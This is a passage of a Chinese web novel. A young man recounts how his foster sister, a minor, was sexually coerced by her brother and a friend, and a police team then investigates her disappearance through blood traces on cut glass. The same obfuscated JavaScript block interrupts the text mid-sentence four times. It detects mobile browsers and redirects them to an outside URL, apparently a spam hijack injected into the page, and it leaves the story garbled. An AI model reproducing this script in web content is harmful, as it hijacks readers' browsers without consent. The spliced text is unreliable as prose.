见季然脸色苍白地看着自己,季顺有些懊恼,怎么能让小妹看见他发脾气的一面。连忙压下怒火,很慎重地说:“小妹,我知道你的顾虑,但你要明白,真正的关心和爱是不会让你感到害怕和痛苦的。” 他想起从小学到大的课文里提到的“爱”,无论是什么爱,都不应该是这样。 “真正的爱,是给予对方力量和勇气,是让对方感到安全和幸福。如果季铭真心为你好,他应该做的是尊重你、保护你,而不是让你自己一个人在这里无助地胡思乱想。”季顺始终想不明白,季铭是从什么时候开始变成了这样。 “不……哥哥没有做错什么,我也愿意帮他缓解压力,但是,但是……我不想跟周哥也那样……”季然捂着脸,眼泪从指缝中流下。 不是,她刚说了什么? 季顺瞳孔地震,怎么每个字他都听得懂,合在一起却不能理解这句话的意思了呢? 一瞬间头晕目眩,忍不住退后一步,后背撞到了墙上。他伸手揉了揉眉心,确定不是幻听后,忽略前半句后还是震惊到音调都变了:“你说什么?周林也参与了?” 脑子里疯狂飙过无数脏话,季顺却一个字都说不出来,他不能在这种时候再吓到她了。 季然压抑着声音小声地哭着:“我就是个坏孩子,发生这种事后,除了哥哥没人会再接受我了……” “不是,周林他怎么能这样,这事季铭知道吗?”季顺狠狠握拳,咬牙切齿地问。 季然的抽泣声停顿了几秒:“哥哥他知道。” 这句话直接把季顺的CPU干烧了。 他没发现自己的声音都在颤抖:“你说季铭他知道周林对你做的事?” 季然没有回答,但是那颤抖的肩膀和止不住的眼泪很明显的告诉了他答案。 一股难以抑制的愤怒在胸中翻涌,季顺忍不住低声咒骂着,紧握的拳头猛地击向墙壁。疼痛的感觉瞬间从指关节传来,他的心绪太过激荡,以至于手上的痛感几乎被忽略。 他深吸了一口气,试图平复自己的情绪,那股怒火却在胸膛中似乎越烧越旺,难以平息。季顺的眉头紧锁,眼中矛盾交织,复杂至极。他知道自己不能就这样无动于衷。 “小妹,”季顺的声音沙哑,语气还带着一丝颤抖,"这不是你的错,也不应该是让你一个人承担的痛苦。我们应该报警,不能让这种错误的事再继续下去了。" 季然又开始抗拒:“不行,不能让别人知道,不能说出去!” “他们这是在犯法啊!”见季然这个态度,季顺忍不住低吼道。 “我知道,可是我不能失去哥哥,他要高考了,我不能害他,”季顺抓着他的衣服,哭红的眼睛哀求地看着他,“顺哥,我求你不要告诉别人好不好?我再尝试跟哥哥谈一谈,只要周哥不再强迫我就好了,我不想把事情闹大。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179123|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这话,季顺简直恨铁不成钢:“你清醒点,小妹。这不是什么小矛盾,这是非常严重的侵犯和伤害!他们两人的行为已经构成了犯罪,季铭他如果真的关心你,他就不会让这一切发生!” 季然眼里满是挣扎,哽咽着说:“我知道,我都知道,但是那是我哥啊……从小就跟我关系最好,他之所以会有那样的行为,也只是因为上高中后压力太大才会那样,我不想伤害他。” 看着季然的眼睛,季顺浑身充满了无力感和愤怒,像一拳打在棉花上.他理解季然对季铭的依赖和害怕失去亲近的人,但也清楚她的行为是在纵容错误,只会让季铭和周林继续伤害她。 “小妹,"”季顺的声音低沉下来,语气却柔和了许多,生怕惊吓到她,“那也不能让他们伤害你啊。我理解你不想失去哥哥,但逃避不是办法。我们得正视问题,寻求帮助,用法律保护自己。” 季顺扶住她的肩膀,认真地看着她的眼睛:“我知道这对你来说很难,但你并不是一个人在承担这一切。我们可以找院长、老师,甚至警察。书上不是说了吗,我们可以去用法律来保护自己。” “小妹,这个世界上每个善良的人都值得被尊重和被爱着。你还没有成年,你的未来还有无数种可能,不能被他们毁了。我们要让他们明白错误,承担后果。”说着说着,他的语气逐渐坚定起来。 话已经说得这么明白了,季然却又开始犹豫起来:“但……但如果这件事传开了,别人会怎么看我?我以后还怎么面对大家啊?” 说到这里,不知道想到了什么,季然放开了紧抓着季顺衣服的手,擦了擦眼泪。 她语气中带着一丝请求:“顺哥,真的很感谢你能听我说这些,也很感激你的理解和支持。可我……我还是没有勇气去面对可能发生的一切。我希望你能够尊重我的决定,不要把今天的话告诉任何人,包括院长妈妈和警察。” 她的眼神中透露出一丝恳求,继续说道:“只需要顺哥你保持沉默,就当作今天什么都没有听到,不要管这件事了好不好?” 季顺看着她,百感交集。 他思索了很久,然后缓缓开口:“如果你真的这么想,我尊重你的选择。不过沉默并不能解决问题,也许会让问题变得更严重。如果你改变主意,或者需要帮助,我随时都支持你。” 他顿了顿,继续说道:“我会保守今天的秘密,也希望你能好好考虑一下。有时候寻求帮助并不是一件坏事。你是被伤害的人,这世上没有受害者有错的道理。” “我和这里每一个真正关心你的人,都希望你能过得更好。”季顺眼神真挚地看着她。 季然点了点头,她知道季顺是真心为她好,但是……她深吸了一口气,努力平复自己的情绪:“谢谢你,顺哥。” 当时,年仅17岁的季顺,尚未深刻体会到人性的复杂与可怕。 他没有察觉到自己言行中的漏洞,仍然天真地认为,他这是在尊重别人的选择。最后只要自己伸出援手,季然在需要帮助的时候就会自然而然地向他求助。 他以为,帮助别人是一件很简单的事。 39. 一笔烂账 咖啡厅的角落里,五个人都有些沉默。 “最后她找你帮忙了没有?”对于已经听了太多遍“季然”这个名字,而有点分不清自己名字的纪然如是问道。 季顺一边说一边连吃带喝的,现在已经有八分饱了。他又喝了一口水,这会儿倒是平静下来了:“没有。” “难道她真的劝住那两人了?”肖羽眉毛一挑,诧异道。 “也没有。”季顺慢条斯理地回答。 李新咏眯了眯眼,陈述道:“你应该也没有报警吧。” “对,也没有。”把往事回忆了一遍后,季顺再次看开了。 毕竟年少不懂事,听别人说什么就是什么,虽然知道那两人是在犯罪,可他总感觉这种事情离他很遥远。再加上季然这个受害者的哀求和他们几人多年的情义,他选择了眼不见心为静。 几人见他这个态度,后面不像是发生了什么好事。 “之后又发生了什么?”纪然更好奇了。 把叉子放回盘子里,季顺擦了擦嘴说:“在我读大学之后,听说过了一个词——PUA。” “原本它只是指Pick-up Artist,‘搭讪艺术’,但把它放进某种特定的关系中,它就成了一个贬义词。”季顺微微歪着头,看向桌子上的杯子,眼里无悲无喜。 肖羽眸光微闪:“你是说季然是被季铭PUA才会这样?最基本的PUA通过赞美和批评,冷漠或者过度热情等方式来控制对方的情绪,使对方感到依赖和不安全。确实,这也就解释了在你的记忆里,季然为什么从小就不与其他人亲近,总是一副懦弱内向的样子。” 听了半天的宋承也想明白了这里面的关键,加入对话:“当你在杂物房听到他们谈话时,季铭对她的PUA已经到‘责任转移’的阶段——他将一切责任都推给季然或外部原因,避免自我反省。” 季顺点头,很明显,在他听说过这个词后,他也意识到了当年的不对劲之处。他又继续说道:“再然后,我又认识了一个疾病名称。” 第一小队的三人反应都很快,同时与季顺说出几个字:“斯德哥尔摩综合征。” 斯德哥尔摩综合征,又被称为人质认同综合征,是一种罕见的心理疾病。其主要表现为被害者在面临极端威胁时,会对加害者产生情感认同,并形成融洽的关系。 他耸了耸肩,语气平淡地说:“所以那时候的我真的很傻,还以为自己能帮到她,结果她反手就出卖了我。跟季铭和周林说是我不断地逼迫她去反抗他们两,闹得我与他们两反目成仇。” 说出来的口吻很平静,实际上看季顺的眼睛时,能轻易看到他眼里的嘲讽和冷意。 嗤笑一声,季顺的语气越来越冷:“就算她是受害者又能怎么样,人心都是肉长的,我又不是贱得慌,非要一次又一次的把真心献出去让她捅刀。” 他扭了扭手指,把指关节扭出声响,说:“他们三个人之间的纠葛就是一笔烂账,我实在懒得管了。后来正好我亲生父母找到福利院里,相隔近13年我才回了家。自那以后,再也没跟他们联系过了。” 明明曾经深受伤害,他却以一种平静而淡漠的语气,在简短的话语中轻描淡写地提及了这段令人唏嘘的往事。 虽然说是放下了、不在意了,但是这还是他年少时的意难平吧。 果不其然,季顺又补充了一句:“不过,当时我若是直接报警或者告诉院长和老师,也许结果会截然不同。” “这十多年来,我反复思考过无数次。虽然我不会再在意他们,但毕竟那是与我共同成长的人,我不去管,不代表我不会去想。每次我都会问自己,如果再来一次,是会选择直接揭发他们的罪行,还是继续什么都不管眼不看心为静。” 季顺手指交叉,低着头,脸埋在阴影里,只有灯光洒在他的头发上,显得格外安静。 纪然顺嘴问了一句:“那你会怎么选择?” 如果是她,大概从一开始知道的时候,就直接报警了,毕竟这种事情的对错还轮不到她一个外人来评价。在还是一个心智尚未成熟的未成年人时,无论当时季然是否是自愿的,季铭和周林两人的所作所为都是在犯法。 至于多年感情什么的,纪然表示自己并非当事人,没有经历过季顺的成长环境,也不清楚他的眼界,很难站在他的角度去真正的换位思考。 而她以目前自己的想法来说,处在那种环境时,施害者不是她,受害者也不是她。不管有没有证据,作为一个普通人,她能做的就是报警,把一切交给法律去评判。 “但我思来想去,都无法得出答案——仅凭那时候的我,对这件事其实并没有清楚的认知。即便再来一万遍,可能我还是选择了跟之前一模一样的做法。”季顺扯了扯嘴角,自嘲地笑了。 也许不仅是季铭和周林有错,季然在季铭的影响下有错,甚至连他也未能幸免,犯了错。 说到底,事情都过去十几年了,已经没必要再去纠结这些,那些恩怨早就随着当年的闹崩而消散了。而现在从警方的嘴里得知季铭已经死亡,除了感觉有些讽刺外,更多的是唏嘘。 又询问了一些问题后,情况已经了解得差不多了。他们目送着季顺离开,几人开始讨论案件线索。 其实纪然有些奇怪,为什么她的任务与季然有关系。主线任务要找到季然,支线任务要了解关于季然的真相。 这个真相是指什么方面的真相? 想到这里,纪然掏出身份卡看了一眼,支线任务毫无变化——看来知道季然的往事并不算真相。 才刚刚接触这个所谓的无限游戏,纪然不清楚它发布任务的规则是什么。即便季然也是个玩家,可为什么任务会要求找到她呢? 毫无思路的事情纪然没有再去纠结,而是默默听着他们三人对当前线索的分析和整理。 就在这时,一个人突然无声无息地落座在刚才季顺坐过的位置上。 纪然:! 瞧见对面多了个人,她刚伸出手拿杯子的动作一顿,猛地缩回来了。 边上的三人也是一惊,他们居然没有察觉到这个人是什么时候过来的,以他们的敏锐性,这很不对劲。 骆星笑嘻嘻地打招呼:“嗨~亲爱的朋友们,你们好吗?” 这不就是昨晚从审讯室凭空消失跑掉的玩家吗,第一小队的三人眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179124|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间就变了。 “刺啦”一声椅子腿摩擦到地面的声音响起,离骆星最近的肖羽直接抓过去,准备擒拿他。另一边的宋承伸腿去绊骆星,手上拿起了桌上的钢制小叉子,眼中闪过一丝冷冽的光芒。 就在纪然身边的李新咏准备从身上摸武器时,单人结界像泡泡一样升起,笼罩了骆星,抵挡住了肖羽和宋承的动作。 骆星嘴角上扬弧度加大:“哎呀,才一天不见就这么热情呀,看来你们已经爱我爱到一天都离不开我了啊~” 又开始了,这种奇特的腔调。 没等他们说什么,骆星的目光投向纪然,同时看到了她衣服上别着的胸针:“小萌新晚上好啊~送你这个胸针的人真有品味,戴起来果然好看。” “……倒也不用拐着弯夸自己,”看在送道具的份上,纪然也没反驳什么,“你来做什么?” 她坐在位子上没动过,对这种拥有特殊能力和道具的老玩家来说,她脆得跟纸一样。若是他想杀她,或者对付其他三个人,他就不会自己跳出来打招呼了,而是跟一开始似的,直接攻击过来。 被无法用科学解释的结界阻拦,宋承紧紧盯着他:“你的目的是什么?” 骆星很是礼貌地微笑,摊手:“我没有目的呀,就是逛到这附近看到你们,过来打打招呼。相逢即是有缘,阿sir不如请我喝一杯?” 这话确实有些令人意想不到,但宋承只是微微眯眼:“请你喝一杯倒是没问题,不过你是怎么做到让店里其他人发现不了我们的动静?” 回头望去,纪然看到晚上七点多的咖啡厅里人满为患,灯火通明。刚刚他们发出的巨大动静竟然没有引起任何人的注意。每个人都沉浸在自己的世界里,或是低头专注地看着手机,或是轻声细语地交谈着。 确实很怪异。 “小把戏而已啦,登不上台面,”骆星的语调来回起伏,声线却很干净,“在这种优雅的地方就不要这么粗鲁了嘛,有什么话我们不能好好聊呢,是吧,阿sir?” 骆星语气中带着一丝淡淡的责备,但更多的是一种优雅的从容。他手肘放在桌面上,手掌撑在下巴上,仿佛对周围的一切都显得格外淡定。 略微思索后,他们又坐回椅子上。骆星垂眼看了一下桌面,非常惊讶地说:“咦,你们之前还跟其他人一起喝咖啡了?我不管,我要喝三杯,不然我就要闹了。” 他含情脉脉地扭头看着宋承:“阿sir~~” 宋承感到一阵恶寒,见他收起那个泡泡,还是给他点了三杯咖啡。 “谢谢阿sir~”骆星喜滋滋地又扭头对着纪然说,“我现在心情不错,再告诉你一个玩家必须遵守的规则。” “什么?”纪然疑惑,除了必须完成任务外,还有其他触之必死的规则吗? 骆星打了个响指,冲纪然抛了个媚眼:“不能用游戏里的能力和道具对非玩家造成直接伤害,通俗点说是任何物理形式上的伤害。否则会上游戏黑名单,被主神系统针对,也许还会向其他玩家发布追杀型的主线任务哦。” 眼睛一弯,他继续说道:“不过,若是你本身就有特殊能力,那就没任何限制了。” 40. 血液反应 此言一出,众人皆愣住了。原来,所谓的“玩家”并不能随意对普通人出手,这解释了为什么除了近期发生的第九系列凶杀案之外,很少听说有其他异常案件发生。 所以之前这个玩家才会直接开车来撞他们,并使用精神影响这类非直接伤害的手段,目的是让他们陷入疲劳状态,从而制造车祸。 骆星蹭完三杯咖啡后,像幽灵一样悄无声息地离开了,甚至在咖啡厅的监控录像中都未曾留下任何身影。 等纪然和第一小队的三人回到警局时,时间还不算晚。 看着众人,宋承沉声说道:“提示既然指向季顺,而他提到的除了季铭曾‘欺负’过季然外,另一个人就是周林。白天我们也察觉到周林的行为举止有些异常,我推测之后他可能会有所行动。让盯梢的人今晚打起精神,一旦发现任何风吹草动,立即向我汇报。” “收到!” 临夏的凌晨十二点多,较比白天的燥热多了一丝凉风,不过更为可恼的存在却出现了。 车里的警察不知道已经拍死了第几只跑来吸血的蚊子了:“我说,这个季节蹲守,真应该准备一瓶驱蚊水。看看,目标还没动静,我们都快变成蚊子的宵夜了。” 另一个警察在车子里翻找了一下,丢给他一个贴纸。 “这是什么?”他接过贴纸,好奇地打量。 “我女儿给买的驱蚊贴,要是怕蚊子就贴上。” “这玩意儿能管用吗?”虽然半信半疑地嘀咕着,但是动作上他还是拜倒在蚊子军团的攻击下,很诚实的贴上了驱蚊贴。 贴上驱蚊贴后,或许是心理作用,或许是真有效果,他觉得蚊子的骚扰确实减少了。耳边不再有那些恼人的嗡嗡声,这让他能更集中注意力。不久,他就听到了不远处传来的开门声。 另一名警察也听到了声音,他比划了一个保持安静的手势。两人交换了一个眼神,低下身子静声屏气,保持绝对的安静。。 轻微的脚步声逐渐从巷子深处传出,随着距离的缩短,声音也越来越清晰。 两名便衣警察早已熄灭了车辆的引擎,在夜色中悄无声息地观察着从巷子里走出的身影。 随着这个身影逐渐走近,在月光的照耀下,可以看出这是一个戴着卫衣帽子和口罩的男子,鬼鬼祟祟的。不过听之前的动静和他走出来的方向,以及身高体型对比,可以明显判断出这个人就是周林。 他手里提着一个袋子,一边走一边警惕地四处张望,短短一段路走得偷感很重。车里的两名警察隐藏在暗处,俯下身子后只露出眼睛,紧紧地注视着周林的一举一动。 周林对车里是否有人在暗中观察毫无察觉。他警觉地扫视了周围,没有发现任何异常。随意地瞥了几眼停在路边的车辆,发现看似都是空车后,他便没有过多关注,径直提着垃圾袋朝垃圾站走去。 等到周林的脚步声渐行渐远,两名便衣警察轻手轻脚地打开车门,小心翼翼地踏出车外,悄无声息地沿着周林离开的方向追踪而去。 与此同时,他们迅速给警局内的第一小队发送了信息。 宋承听到手机的提示音,立即放下手中的案件文件,抓起手机查看。看到是负责监视周林的警察发来的消息,他的眼神迅速聚焦,立马回复过去—— 「盯紧去向,探清目的」 收到指令后,两名警察继续跟踪周林,直到他走进了两三百米外的一个小型垃圾处理站。 这个垃圾处理站条件十分简陋,只有一面墙未被封闭,直接暴露在外。站内散布着一些破旧的机械,旁边是一个用水泥砌成的垃圾池,里面堆满了形形色色的废弃物。 经过白天高温的发酵,垃圾混合后散发出的恶臭变得更加刺鼻,哪怕只是稍微接近,那股令人作呕的气味就扑面而来。 即便是戴着口罩的周林也难以忍受这股恶臭,他匆忙将手中的黑色垃圾袋扔进垃圾池,便迅速转身离去。 他很有警惕心,离开时还四处张望,确认没有异常后,才沿着原路返回。 两名警察隐蔽在墙边拐角处,观察到这一幕后,迅速采取行动。其中一名继续跟踪周林,另一名则前往垃圾池寻找周林刚刚丢弃的物品。 “呕——”进入垃圾处理站的警察被那里的恶臭熏得几乎干呕,他赶紧屏住呼吸,戴上手套,开始搜寻之前看到的黑色垃圾袋。 幸运的是,由于垃圾池中的气味太过熏人,周林并没有将袋子扔得很深。经过一番努力,警察终于找到了那个熟悉的袋子。 他脱下一只手套,拿出手机给第一小队发送了一条信息。没过两秒,一个视频电话就打了过来。 宋承的脸出现在屏幕里,沉稳地发出指令:“开手电,镜头对着垃圾袋。” 执行任务的警察遵命行事,轻点手机手电筒,一束光线划破了垃圾处理站昏暗的角落。他用另一只手小心地拆开那个垃圾袋,开始细致地检查里面的内容。 在快速排除了那些显而易见的生活垃圾后,警察的目光被一些锋利的碎玻璃片吸引。这些玻璃碎片的边缘异常整齐,明显不同于一般的废弃物,看起来更像是某样特定物品的残片。 通过镜头,宋承清晰地看到了那些整齐边缘的玻璃碎片,立刻意识到这不仅仅是普通的垃圾,果断指示这名警察:“把这些玻璃带回来检测,我让人过去接你。” 警察没有丝毫迟疑,迅速从身上取出证物袋,将这些碎玻璃片一一捡起放入袋中。为了不引起注意,他特意选择了一条远离周林家的路线,并在那里给宋承发送了自己的位置信息。 宋承在警局门口等候,一见到来人便迎上前去,简短地道了声谢,迅速接过对方手里的证物,快步走向乔云深所在的法医实验室。 乔云深被半夜叫醒抓起来已经在这等了有一会儿了。他揉了揉还有些朦胧的睡眼,打了一个哈欠。接过递来的证物袋,他立刻调整状态,开始认真工作,将证物对准光源进行细致的观察。 他仔细观察着玻璃的断裂口,注意到边缘非常光滑,没有其他的痕迹。 乔云深微微皱起了眉头,沉思了一会儿,然后开口说:“这断裂口非常光滑,表面也没有其他划痕,看起来是用玻璃刀精心切割的。而且从肉眼观察,上面没有沾附任何明显的痕迹。如果不是原本就没有留下痕迹的话,那么很可能这块玻璃被人为清洗过了。” 用紫外线灯对着玻璃检测,在紫外线的照射下,玻璃的某一部分发出了微弱的荧光。 两人都清楚这通常意味着血迹的存在,但为了验证这一点并确保测试结果的准确性,乔云深随后拿出米诺林试剂喷洒在较大的一块玻璃碎片上,并让宋承去门口关掉了灯。 数秒后,玻璃上显现出了微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179125|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱的蓝光。 “当木诺林试剂与血液中的铁离子反应时,会产生蓝色的光,”乔云深解释道,虽然这是一种在法医学中常用的血液检测化学方法,而且他和宋承已经合作过多次,但他还是觉得有必要提醒,“当然,米诺林试验并不仅对人类血液有效,任何含有铁的液体或物质都可能产生类似的发光反应。” 打开灯光后,乔云深在明亮的光线下仔细地检查每一片玻璃碎片。他突然注意到其中一片上有细微的划痕:“这里有轻微的划痕,看起来像是指甲造成的刮痕。” 随后乔云深又做了一些更深层次的检验。而不会推理的法医不是好刑警,种种线索串联起来,得出显而易见的结果。 乔云深着手整理检验数据,他解释说:“检验结果表明,这些玻璃上极有可能曾经沾染过血液。根据血迹的分布特征——大小和形状来看,我推测血液可能是从旁边溅射上来的,而且只是少量的溅洒。这表明事发时可能发生了某种形式的接触或冲突,导致血液飞溅到了玻璃上。” 宋承听了后微微眯起眼睛,随即逐一给其他几人打电话,将他们从睡梦中唤醒。接着,他转向乔云深,指示道:“你看看能不能检测到玻璃上残留的血迹DNA,确定血迹的来源。” 摘下手套后,乔云深在电脑上飞快撰写法医实验室物品检验报告:“okk,不过这需要一些时间。我先把初步的检验结果打印出来给你。” “等DNA结果一起出来吧。”宋承没有心急,毕竟去搜查周林的话,他们需要确切实证才行,要确保行为的合法性和有效性。 随后,乔云深使用聚合酶链反应,扩增少量的DNA样本,使其达到可检测水平。利用实时荧光定量PCR——一种在DNA扩增反应中加入荧光基团,以荧光信号积累实时监测每次PCR循环后产物总量,进而对待测样品中的目的序列进行定量分析的方法。 非该专业的宋承看不懂这些,他只用知道最后结果就行了。 等一群人来到警局时,宋承迅速从乔云深手里接过两分报告——物品检查报告和DNA数据对比,确定玻璃上的血迹来自于季然。 看了一眼结果,宋承立刻转身朝大门走去。李新咏已经默默地将车开到门口等候,而纪然,被中途叫醒,睡眼惺忪地跟着上了车。 除了乔云深,第一小队的人都在车里了。纪然虽然困,却也明白能够在深夜时分将众人召集起来,定是因为发生了重大事件,或是发现了关键线索。带上她估计是为了下一个新手提示,也有可能是为了她的“特殊能力”。 上车后宋承简要地向大家说了当晚发现的情况。他们现在要再次去找周林,查清这些沾着季然血迹的碎玻璃是怎么回事。 结合季顺透露的信息以及白天从周林处察觉到的违和处,这两方面的线索共同强化了他内心深处的直觉:这起事件与季然的失踪有着千丝万缕的联系。 宋承提醒叶柯之后盯紧周林。叶柯作为一名心理专家,拥有敏锐的观察力和判断力,能够轻易洞悉一个人是否有所隐瞒。在面对周林时,叶柯的专业能力将成为他们揭开真相的关键。 很快就再次来到周林所在处,月光驱散不了深沉的黑夜,六层高的楼房在此时更显寂静。 他们轻手轻脚地上了楼梯,敲响了周林家的大门。 “咚,咚咚!” 41. 好大一个渣男 好不容易睡着的周林被这声音给惊醒,猛地坐起来有片刻的迷茫。随着又一阵敲门声响起,他才逐渐意识到这不是梦境。带着警惕,他缓缓走出卧室,来到客厅的大门后。他小心地掀开猫眼的盖子,凑近查看门外的情况。 在楼道里声控灯的昏黄光线下,周林认出了门外站的是白天曾见过的警察,他的后背立刻冒出了冷汗。 难道,他们发现他做的事了? 不可能啊,为了不暴露自己,他特意等了两天才去丢垃圾,还是大半夜的,不应该会被发现啊。难道说是警察来找他问其他线索的? 没有犹豫太久,门外的警察好像发现了里面的动静,在听到他们报了身份后,周林不得不打开门直面警察。 在看见周林的一瞬间,叶柯眼睛就微眯起来——眼神闪烁不定,眉头紧锁,嘴角微微下撇,呼吸变得急促起来,手指无意识地抓紧手边的东西。 从心理学的角度来看,这些微表情和行为举止都是周林内心慌张的外在表现。他可能正在经历某种压力或困扰,导致他无法保持平静和镇定。 第一小队的几人没有多言,直接切入主题。宋承安排李新咏和叶柯去对周林进行问话,他则是拿出被装在物证袋里的部分碎玻璃,与肖羽开始查找。 周林试图反抗,但很快被李新咏强行带到房间内进行询问。 纪然环顾四周,房间里依旧杂乱无章,但至少酒气已经消散。她注意到,电视柜上原本摆放着的,刻有四人名字的奖杯不翼而飞,周林不知把它藏到了何处。 在检查沙发和茶几区域时,肖羽发现了一些异常,随即叫来宋承:“队长,看这里。” 闻声纪然就凑了过去。只见宋承宋承正拿着装有证物的塑料袋与茶几上的玻璃进行仔细对比,并用手触摸玻璃边缘,细致地检查着。 宋承确认道:“材质相同,茶几边缘确实有被切割过的痕迹。” 清理掉桌上的杂物后,肖羽仔细测量了茶几和台面上的玻璃尺寸,他指出:“玻璃短了一截,尺寸不符。而且被切掉的边缘有细小的划痕,看来他是直接将沾有血迹的部分切除了。” “不止,”宋承审视着手中碎玻璃,继续分析道,“如果玻璃是直接被切割,它不会碎成这种形状。根据这些碎片的裂痕来看,我们可以排除它是被砸碎或摔碎的。” 肖羽轻敲着茶几,通过声音判断道:“这种玻璃比普通窗户玻璃要坚固得多,而且边缘部分最为薄弱。如果只是边缘碎裂,不应该影响到玻璃其他区域的完整性。” 听到这番话,纪然的目光转向茶几边缘,心中若有所思。如果真如肖羽所分析,季然与周林之间的复杂关系,整个事件的来龙去脉似乎就清晰可辨了。 “如果玻璃上的血迹属于季然,并且她作为玩家拥有某些道具或特殊能力,那么她在与周林的冲突中可能不小心打碎了玻璃,血迹就是这样溅上去的。”肖羽仔细检查玻璃被切割的边缘部分,提出了自己的假设。 结结合现有证据,他推理说:“周林为了掩饰,可能在事后切割掉了碎裂的玻璃部分,并清洗掉血迹,企图在今晚将其丢弃在垃圾处理站……” 肖羽停顿了一下,想起周林的违和处:“从他白天的举动来看,他可能已经预料到我们会找他,所以特意等到我们没有发现问题后才在半夜处理这些证据。正好被我们盯梢的人找到这些玻璃碎片。而即便使用水清洗,血液留下的痕迹也难以完全消除,这才被我们发现。” 纪然给他点了个赞,她也是这么想的。 “很明显,”宋承思索一番,继续说道,“我们要么等待云深那边的DNA检测结果,看是否与季然的样本相匹配;要么等新咏和小柯从周林嘴里问出一些有价值的信息。” 为了严谨性,他又补充说:“当然,也有可能这血迹属于周林自己或者其他人,与季然并无直接关联。” “再仔细搜查一下,看是否还有遗漏的线索。”宋承说着,翻动沙发上堆积如山的衣物。果不其然,在寸寸检查下,这种无法拆洗的沙发上有几处颜色较深的斑迹,这些痕迹不是很明显,但在仔细搜寻下还是显露了出来。 肖羽蹲下身来仔细检查,轻轻嗅了嗅,随即脸上露出了一丝怪异的表情:“为了掩盖这里的痕迹,他倒是喷了不少东西上去……” “是血吗?”纪然又凑过来,看肖羽的表情后她没去闻,而是蹲在一边问他。 “如果我嗅觉没出问题的话,这里确实有股微弱的铁锈味。要不你也来闻闻,再确认一下?”肖羽见她凑过来,一副好奇又不敢凑近的样子,随口打趣了一句。 “不了不了,我相信你的嗅觉。”纪然起身逃开,看刚才他的样子就知道味道有多难闻了,有专业人士在,她才不去找罪受。 她晃到宋承边上。见宋承不知道从哪掏出一个迷你紫外线灯,冲肖羽知会一声后,戴上了防护眼镜和手套。 瞥见有人靠近,宋承隔着防护眼镜看了她一眼,说:“能帮我关一下灯吗?待会儿与我保持距离,避免紫外线直接照射到你的皮肤和眼睛。” 点点头,纪然晃到大门处关了灯。然后悄悄溜进周林被拉进去询问的房间里,光明正大地偷听里面的对话。 李新咏和叶柯注意到纪然进入房间,但并没有中断审问,继续对周林进行提问。 在叶柯巧妙的心理暗示和语言引导下,配合李新咏的审问策略,一个唱红脸一个唱白脸。这种策略让周林在本身就精神不好的情况下,又在压力和安慰之间摇摆。 当周林得知他们已经接触过季顺,知道他自己曾做过的事后,他的心理防线开始崩溃。 周林意识到自己无法再隐瞒下去,原本就因为季铭的死而心神不宁,又被季然突然弄出来的鬼东西抓伤,以及那突如其来的惊吓,他的精神已经十分紧张。加上还要思考自己该怎么隐瞒警察,从听到他们说在玻璃上发现血迹时,他就不想再这样提心吊胆的生活。 随后在叶柯的半催眠式语言引导下,他变得极其合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179126|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,对于审问中的每一个问题,周林都毫无保留地回答,没有任何隐瞒。 反正,他也没犯什么罪不是吗?只不过与季然闹了点小矛盾而已,季铭又不是他杀的。 而至于对季然的强迫行为,警察只知道那是十几年前的事情,但那种事情难以界定,而且也没有人报警。警方没有确凿的证据来证明他真的做过那些事。加上过去这么久,可能连法律追诉期都过了。 于是他心安理得地开口陈述:“九号那天我回来后,发现季然已经在这等我好几天了,她变化很大。自从季铭失踪以来,我就一直在失眠,每当我闭上眼睛,就能看到他不甘心的样子。你们也知道,季铭是我从小到大最好的朋友,我非常了解他,他不可能无缘无故失踪,只可能是遭遇了不测。” 他的语句之间没什么明显的逻辑顺序,像是想到哪就说到哪。周林捏紧了拳头,说:“我没有直接证据证明季铭已经死了,只能指望你们警方能找到他。在我出差前,他来找过我,想借钱,那时我才知道季然不愿意给他钱……而且,我回来之后,季然还跑来问我知不知道她哥哥去了哪里。” 听到周林的话,李新咏质疑道:“季然不知道季铭失踪了吗?” 